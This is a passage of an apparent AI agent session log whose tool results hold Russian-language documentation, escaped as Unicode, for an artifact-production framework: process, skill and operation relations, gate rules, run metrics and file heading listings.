\u0438\\n\u043c\u0438\u043a\u0440\u043e-\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043e\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430, \u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438 \u043a\u043b\u0430\u0441\u0441\u0430 `check`. \u041f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\\n\u0441\u043e\u0431\u0440\u0430\u043d\u043d\u044b\u0439 \u043f\u043e \u0444\u043e\u0440\u043c\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u043b\u043e\u0436\u043d\u044b\u043c, \u0438 \u043d\u0430\u043e\u0431\u043e\u0440\u043e\u0442.\\n\\n## 4. \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f, \u043d\u0430\u0432\u044b\u043a, \u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u043c\u0430\u0440\u0448\u0440\u0443\u0442\\n\\n\u0427\u0435\u0442\u044b\u0440\u0435 \u043f\u043e\u043d\u044f\u0442\u0438\u044f, \u0441\u043b\u0438\u0442\u044b\u0435 \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435 \u0441\u043f\u0438\u0446\u044b \u0432 \u043e\u0434\u0438\u043d \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 (\u043f\u0440\u043e\u043c\u043f\u0442), \u0432 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438\\n\u043e\u0431\u0440\u0430\u0437\u0443\u044e\u0442 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u0441 \u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u043a\u0440\u0430\u0442\u043d\u043e\u0441\u0442\u044c\u044e. \u0412\u0435\u0440\u0441\u0438\u044f 0.2 \u043c\u0435\u043d\u044f\u0435\u0442 \u0435\u0451: \u043c\u0435\u0436\u0434\u0443\\n\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u043c \u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0435\u0439 \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u0430\u0432\u044b\u043a.\\n\\n```text\\nProcess \u2500\u25001:N\u2500\u2500\u25b6 Skill \u2500\u25001:N\u2500\u2500\u25b6 Operation\\n   \u25b2                                  \\n   \u2514\u2500\u2500 Route: \u0433\u0440\u0430\u0444 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430; \u043f\u0440\u043e\u0433\u043e\u043d \u2014 \u043e\u0434\u043d\u0430 \u0442\u0440\u0430\u0435\u043a\u0442\u043e\u0440\u0438\u044f \u043f\u043e \u044d\u0442\u043e\u043c\u0443 \u0433\u0440\u0430\u0444\u0443\\n```\\n\\n| \u041e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u0435 | \u041a\u0440\u0430\u0442\u043d\u043e\u0441\u0442\u044c | \u041f\u0440\u0430\u0432\u0438\u043b\u043e |\\n| --- | --- | --- |\\n| `Process` \u2192 `Skill` | 1 : N, \u0443\u043f\u043e\u0440\u044f\u0434\u043e\u0447\u0435\u043d\u043d\u043e \u043f\u043e \u0433\u0440\u0430\u0444\u0443 | `OPS-1`: \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443; \u043e\u043d \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0432\u044b\u0445\u043e\u0434, \u0441\u043e\u0441\u0442\u0430\u0432 \u043d\u0430\u0432\u044b\u043a\u043e\u0432 \u0438 \u0442\u043e\u0447\u043a\u0438 \u0433\u0435\u0439\u0442\u043e\u0432. |\\n| `Skill` \u2192 `Operation` | 1 : N, \u0443\u043f\u043e\u0440\u044f\u0434\u043e\u0447\u0435\u043d\u043d\u043e | `OPS-2`: \u043d\u0430\u0432\u044b\u043a \u2014 \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441: \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0441 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u043c \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u0438 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c \u0433\u0435\u0439\u0442\u043e\u043c. |\\n| `Skill` \u2192 `Artifact` | 1 : 1..N | `OPS-3`: \u043d\u0430\u0432\u044b\u043a \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442 \u0441\u0432\u043e\u0438 \u0432\u044b\u0445\u043e\u0434\u043d\u044b\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b; \u043d\u0435\u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0432\u044b\u0445\u043e\u0434 \u043d\u0435 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442\u0441\u044f. |\\n| `Operation` \u2192 `Artifact` | 1 : 1 | `OPS-4`: \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442 \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u0438\u043d \u043a\u043b\u0430\u0441\u0441 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430 (`OA-1`). \u0414\u0432\u0430 \u043a\u043b\u0430\u0441\u0441\u0430 \u2014 \u0434\u0432\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438. |\\n| `Route` \u2192 `Process` | N : 1 | `OPS-5`: \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u2014 \u0433\u0440\u0430\u0444 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0445 \u043f\u0443\u0442\u0435\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430; \u043f\u0440\u043e\u0433\u043e\u043d \u2014 \u043e\u0434\u043d\u0430 \u043f\u0440\u043e\u0439\u0434\u0435\u043d\u043d\u0430\u044f \u0442\u0440\u0430\u0435\u043a\u0442\u043e\u0440\u0438\u044f \u044d\u0442\u043e\u0433\u043e \u0433\u0440\u0430\u0444\u0430. |\\n38:        PC[\\\"\u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441\u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d (MM-4)\\\"]\\n163:| `M-1` \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u0430\u044f \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c | \u0434\u043e\u043b\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, \u0447\u0435\u0439 \u0441\u043a\u0435\u043b\u0435\u0442 \u0441\u043e\u0432\u043f\u0430\u043b \u0441 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u043c | \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0435 \u043f\u043e\u0434\u043f\u0438\u0441\u0435\u0439 \u0441\u043b\u043e\u0442\u043e\u0432 | \u0440\u0430\u0441\u0442\u0451\u0442; \u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f 0 (17 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u2014 17 \u0441\u043a\u0435\u043b\u0435\u0442\u043e\u0432) |\\n164:| `M-2` \u0434\u043e\u043b\u044f \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0445 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 | `G-mach` reject / \u0432\u0441\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u044b | \u0441\u0447\u0451\u0442\u0447\u0438\u043a \u0433\u0435\u0439\u0442\u0430 | \u043d\u0435\u043d\u0443\u043b\u0435\u0432\u0430\u044f: \u043d\u0443\u043b\u0435\u0432\u0430\u044f \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u0433\u0435\u0439\u0442 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 |\\n165:| `M-3` \u0434\u043e\u043b\u044f \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u0440\u0430\u0432\u043e\u043a \u043f\u043e\u0441\u043b\u0435 `G-mach` | \u043f\u0440\u0430\u0432\u043a\u0438 \u043d\u0430 `G-human` / \u043f\u0440\u0438\u043d\u044f\u0442\u044b\u0435 `G-mach` | diff \u0432\u044b\u0445\u043e\u0434\u0430 | \u043f\u0430\u0434\u0430\u0435\u0442; \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e \u043b\u043e\u0432\u0438\u0442 \u043c\u0430\u0448\u0438\u043d\u0430, \u0430 \u0447\u0442\u043e \u043d\u0435\u0442 |\\n166:| `M-4` \u043f\u043e\u043b\u043d\u043e\u0442\u0430 \u0441\u043b\u0435\u0434\u0430 | \u0434\u043e\u043b\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441 \u0447\u0435\u0442\u044b\u0440\u044c\u043c\u044f \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u043f\u043e\u043b\u044f\u043c\u0438 | \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 `EP-R4` | 100% \u043a\u0430\u043a \u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u043f\u0440\u0438\u0451\u043c\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 |\\n167:| `M-5` \u0434\u043e\u043b\u044f \u043f\u0443\u0441\u0442\u044b\u0445 \u0441\u043b\u043e\u0442\u043e\u0432 \u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 | \u043f\u0443\u0441\u0442\u044b\u0435 \u0441\u043b\u043e\u0442\u044b \u0441 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 / \u0432\u0441\u0435 \u043f\u0443\u0441\u0442\u044b\u0435 | \u0440\u0430\u0437\u0431\u043e\u0440 \u0448\u0430\u0431\u043b\u043e\u043d\u0430 | \u0440\u0430\u0441\u0442\u0451\u0442; \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442 \u00ab\u043d\u0435\u0442\u00bb \u043e\u0442 \u00ab\u043d\u0435 \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u043b\u0438\u00bb |\\n174:\u041f\u0435\u0440\u0435\u0441\u0435\u0447\u0435\u043d\u0438\u044f \u043d\u0435\u0442: `M-1`\u2026`M-5` \u0438\u0437\u043c\u0435\u0440\u044f\u044e\u0442 \u043f\u0440\u043e\u0433\u043e\u043d \u043f\u0430\u043a\u0435\u0442\u0430, `MP-*` \u0438 `MO-*` \u2014 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e\\n177:**\u0423\u0441\u043b\u043e\u0432\u0438\u0435 \u0447\u0435\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0437\u0430\u043c\u0435\u0440\u0430.** \u0411\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u043f\u043e `M-1`\u2026`M-3` \u0441\u043d\u0438\u043c\u0430\u0435\u0442\u0441\u044f **\u0434\u043e**\\n181:**\u041f\u043e\u0440\u043e\u0433 \u0440\u0435\u0448\u0435\u043d\u0438\u044f.** \u0421\u0440\u0435\u0437 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0443\u0441\u043f\u0435\u0448\u043d\u044b\u043c, \u0435\u0441\u043b\u0438 `M-4` = 100% \u0438 `M-1` \u0437\u0430\u043c\u0435\u0442\u043d\u043e\\n182:\u0432\u044b\u0448\u0435 \u0431\u0430\u0437\u043e\u0432\u043e\u0439 \u043b\u0438\u043d\u0438\u0438 \u043f\u0440\u0438 \u043d\u0435\u043d\u0443\u043b\u0435\u0432\u043e\u043c `M-2`. \u041a\u043e\u043c\u0431\u0438\u043d\u0430\u0446\u0438\u044f \u00ab`M-1` \u0432\u044b\u0441\u043e\u043a\u0438\u0439, `M-2` = 0\u00bb\\n189:| \u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 \u043d\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u043e \u0432\u0445\u043e\u0434\u0443 | \u043f\u0440\u043e\u0433\u043e\u043d \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043d\u0430 `C-IN`, \u0432\u043e\u043f\u0440\u043e\u0441 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0443 | `MM-4`: \u043a\u043b\u0430\u0441\u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d, \u0430 \u043d\u0435 \u0432\u044b\u0432\u0435\u0434\u0435\u043d \u043b\u0435\u043a\u0441\u0438\u0447\u0435\u0441\u043a\u0438; \u0437\u0430\u043c\u0435\u0440 \u043f\u043e\u043a\u0430\u0437\u0430\u043b, \u0447\u0442\u043e \u043b\u0435\u043a\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043c\u0430\u0440\u043a\u0435\u0440\u044b \u043d\u0435\u0440\u0430\u0437\u043b\u0438\u0447\u0430\u044e\u0449\u0438\u0435 (66 \u0438\u0437 67 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0439 \u043c\u0443\u043b\u044c\u0442\u0438\u0434\u043e\u043c\u0435\u043d\u043d\u044b\u0435) |\\n194:| \u0418\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043f\u0440\u043e\u043c\u043f\u0442 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u0442\u0440\u0451\u0445 \u0440\u0435\u0436\u0438\u043c\u0430\u0445 | \u0431\u0435\u0440\u0451\u0442\u0441\u044f \u043e\u0434\u0438\u043d \u043d\u0430\u0432\u044b\u043a; \u0444\u043e\u0440\u043c\u0430\u0442 \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u0442\u0441\u044f \u0432 \u043f\u043e\u043b\u0435 `interaction` \u043f\u043e \u043d\u0430\u043b\u0438\u0447\u0438\u044e \u0442\u043e\u0447\u043a\u0438 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0430\u043a\u0442\u043e\u0440\u0443, \u0430 \u043d\u0435 \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f | `DP-1`\u2026`DP-5`, `FM-1`, ADR-013, ADR-016 |\\n215:- \u0411\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f `M-1` \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u043c \u0437\u0430\u043c\u0435\u0440\u043e\u043c \u043d\u0430 \u0442\u0440\u0451\u0445 \u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u044b\u0445\\n216:  \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 \u043a\u043e\u0440\u043f\u0443\u0441\u0430: \u0442\u0440\u0438 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u043a\u0435\u043b\u0435\u0442\u0430, `M-1 = 0.0`, \u0441\u0435\u043c\u044c \u0441\u043b\u043e\u0442\u043e\u0432 \u0438\u0437\\n40-practice-and-cases.md:22:# \u041f\u0440\u0430\u043a\u0442\u0438\u043a\u0430: \u043c\u043e\u0434\u0435\u043b\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u0438 \u0432\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u0440\u0435\u0437\\n40-practice-and-cases.md:29:## 1. \u041c\u043e\u0434\u0435\u043b\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430: BCREQ\\n40-practice-and-cases.md:124:## 2. \u0421\u043a\u0432\u043e\u0437\u043d\u0430\u044f \u043f\u0440\u043e\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0441\u0442\u044c\\n40-practice-and-cases.md:142:## 3. \u0412\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0439 MVP-\u0441\u0440\u0435\u0437\\n40-practice-and-cases.md:159:## 4. \u041f\u043b\u0430\u043d \u0441\u0431\u043e\u0440\u0430 \u044d\u043c\u043f\u0438\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0434\u0430\u043d\u043d\u044b\u0445\\n40-practice-and-cases.md:185:## 5. \u0413\u0440\u0430\u043d\u0438\u0447\u043d\u044b\u0435 \u043a\u0435\u0439\u0441\u044b\\n40-practice-and-cases.md:207:## 6. \u0413\u0440\u0430\u043d\u0438\u0446\u044b \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0438\\n30-decision-framework.md:23:# \u0420\u0430\u043c\u043a\u0430 \u0440\u0435\u0448\u0435\u043d\u0438\u0439: \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 Execution Package\\n30-decision-framework.md:25:## 1. \u0427\u0442\u043e \u0442\u0430\u043a\u043e\u0435 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044f \u0438 \u0447\u0435\u043c \u043e\u043d\u0430 \u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f\\n30-decision-framework.md:41:## 2. \u041c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u043e\u0441\u0442\u0430\u0432 \u043f\u0430\u043a\u0435\u0442\u0430\\n30-decision-framework.md:67:## 3. \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e `SKILL.md`\\n30-decision-framework.md:90:# \u043f\u043e\u043b\u044f \u0441\u0440\u0435\u0434\u044b (GC-2): \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b, \u0438\u043c\u044f \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u043e \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 (GC-4)\\n30-decision-framework.md:93:# \u043f\u043e\u043b\u044f \u0434\u0435\u043b\u044c\u0442\u044b Source (SK-0): \u0441\u0440\u0435\u0434\u0430 \u0438\u0445 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0438 \u043d\u0435 \u0437\u0430\u043f\u0440\u0435\u0449\u0430\u0435\u0442\\n30-decision-framework.md:109:# \u041d\u0430\u0432\u044b\u043a: <\u0438\u043c\u044f>\\n30-decision-framework.md:111:## \u041a\u043e\u0433\u0434\u0430 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0442\u044c\\n30-decision-framework.md:114:## \u041f\u0440\u0435\u0434\u0443\u0441\u043b\u043e\u0432\u0438\u044f\\n30-decision-framework.md:117:## \u0428\u0430\u0433\u0438\\n30-decision-framework.md:120:## \u041e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0441\u043b\u043e\u0442\u044b \u0432\u044b\u0445\u043e\u0434\u0430\\n30-decision-framework.md:123:## \u0421\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 (G-self)\\n30-decision-framework.md:126:## \u041e\u0442\u043a\u0430\u0437\\n30-decision-framework.md:144:## 4. \u041c\u0430\u0440\u0448\u0440\u0443\u0442: \u0433\u0440\u0430\u0444 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0438 \u043b\u0438\u0441\u0442 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\\n30-decision-framework.md:156:### 4.1 \u0413\u0440\u0430\u0444 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430\\n30-decision-framework.md:201:### 4.2 \u041b\u0438\u0441\u0442 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\\n30-decision-framework.md:235:## 5. Golden Set\\n30-decision-framework.md:258:# <\u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a \u043a\u0435\u0439\u0441\u0430>\\n30-decision-framework.md:259:## \u0412\u0445\u043e\u0434\\n30-decision-framework.md:260:## \u041e\u0436\u0438\u0434\u0430\u0435\u043c\u0430\u044f \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 \u0432\u044b\u0445\u043e\u0434\u0430\\n30-decision-framework.md:261:## \u041e\u0436\u0438\u0434\u0430\u0435\u043c\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 (\u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043c\u0430\u0448\u0438\u043d\u043d\u043e)\\n30-decision-framework.md:262:## \u0427\u0435\u0433\u043e \u0432 \u044d\u0442\u0430\u043b\u043e\u043d\u0435 \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u043e \u043d\u0435\u0442\\n30-decision-framework.md:270:## 6. \u041f\u043e\u0440\u044f\u0434\u043e\u043a \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438\\n30-decision-framework.md:285:## 7. \u0413\u0440\u0430\u043d\u0438\u0446\u044b \u0440\u0430\u043c\u043a\u0438\",\n[2026-09-29T07:44:54.483Z] [INFO]         \"is_error\": false\n[2026-09-29T07:44:54.483Z] [INFO]       }\n[2026-09-29T07:44:54.483Z] [INFO]     ]\n[2026-09-29T07:44:54.483Z] [INFO]   },\n[2026-09-29T07:44:54.483Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:44:54.483Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:54.483Z] [INFO]   \"uuid\": \"f362d181-bda3-4faf-baaa-58202f99c39c\",\n[2026-09-29T07:44:54.483Z] [INFO]   \"timestamp\": \"2026-09-29T07:44:54.418Z\",\n[2026-09-29T07:44:54.483Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:44:54.483Z] [INFO]     \"stdout\": \"| `MM-1` | \u0428\u0430\u0433 \u0431\u0435\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u043d\u0435 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f. | \u00ab\u0420\u0430\u0431\u043e\u0442\u0430 \u0438\u0437 \u0432\u043e\u0437\u0434\u0443\u0445\u0430\u00bb: 50 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0438\u0437 67 \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u044e\u0442 \u0432\u0445\u043e\u0434 \u2014 \u0442\u0430\u043a\u0438\u0435 \u0448\u0430\u0433\u0438 \u043d\u0435\u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b. |\\n| `MM-2` | \u041a\u0430\u0436\u0434\u044b\u0439 \u0433\u0435\u0439\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442; \u0433\u0435\u0439\u0442 \u0431\u0435\u0437 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u0437\u0430\u043f\u0440\u0435\u0449\u0451\u043d. | \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u00ab\u043d\u0430 \u0443\u0441\u043c\u043e\u0442\u0440\u0435\u043d\u0438\u0435\u00bb, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043d\u0435\u043b\u044c\u0437\u044f \u043d\u0438 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438, \u043d\u0438 \u043e\u0441\u043f\u043e\u0440\u0438\u0442\u044c. |\\n| `MM-3` | \u041a\u0430\u0436\u0434\u044b\u0439 \u0432\u044b\u0445\u043e\u0434\u043d\u043e\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u043d\u0435\u0441\u0451\u0442 `Trace` \u043d\u0430 \u0432\u0445\u043e\u0434, \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e, \u0430\u043a\u0442\u043e\u0440\u0430 \u0438 \u043f\u0440\u043e\u0439\u0434\u0435\u043d\u043d\u044b\u0435 \u0433\u0435\u0439\u0442\u044b. | \u0410\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u0431\u0435\u0437 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f: \u043e\u043d \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0443\u0447\u0430\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c \u0432 \u043c\u0435\u0442\u0440\u0438\u043a\u0435 \u0438 \u0432 \u0440\u0430\u0437\u0431\u043e\u0440\u0435 \u0434\u0435\u0444\u0435\u043a\u0442\u0430. |\\n| `MM-4` | \u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0434\u043e \u043d\u0430\u0447\u0430\u043b\u0430 \u0448\u0430\u0433\u0430, \u0430 \u043d\u0435 \u0432\u044b\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u0438\u0437 \u0442\u0435\u043a\u0441\u0442\u0430. | \u041c\u043e\u043b\u0447\u0430\u043b\u0438\u0432\u0443\u044e \u0441\u0431\u043e\u0440\u043a\u0443 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e: \u043b\u0435\u043a\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043c\u0430\u0440\u043a\u0435\u0440\u044b \u0434\u0430\u044e\u0442 \u0431\u043e\u043b\u0435\u0435 \u043e\u0434\u043d\u043e\u0433\u043e \u0434\u043e\u043c\u0435\u043d\u0430 \u0443 66 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0438\u0437 67. |\\n\\n`MM-1` \u0438 `MM-4` \u2014 \u043f\u0440\u0435\u0434\u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0448\u0430\u0433\u0430; `MM-2` \u0438 `MM-3` \u2014 \u043f\u043e\u0441\u0442\u0443\u0441\u043b\u043e\u0432\u0438\u044f. \u0418\u043c\u0435\u043d\u043d\u043e \u044d\u0442\u0430\\n\u043f\u0430\u0440\u0430 \u00ab\u043f\u0440\u0435\u0434\u0443\u0441\u043b\u043e\u0432\u0438\u0435/\u043f\u043e\u0441\u0442\u0443\u0441\u043b\u043e\u0432\u0438\u0435\u00bb \u0434\u0435\u043b\u0430\u0435\u0442 \u0448\u0430\u0433 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u043c, \u0430 \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u2014\\n\u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u043c\u044b\u043c.\\n\\n**\u0427\u0442\u043e \u0437\u0430\u043a\u043e\u043d \u043d\u0435 \u0437\u0430\u0434\u0430\u0451\u0442.** \u0424\u043e\u0440\u043c\u0443\u043b\u0430 \u0438 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u044e\u0442 **\u0444\u043e\u0440\u043c\u0443**:\\n\u0438\u0437 \u043a\u0430\u043a\u0438\u0445 \u0447\u0430\u0441\u0442\u0435\u0439 \u0441\u043e\u0441\u0442\u043e\u0438\u0442 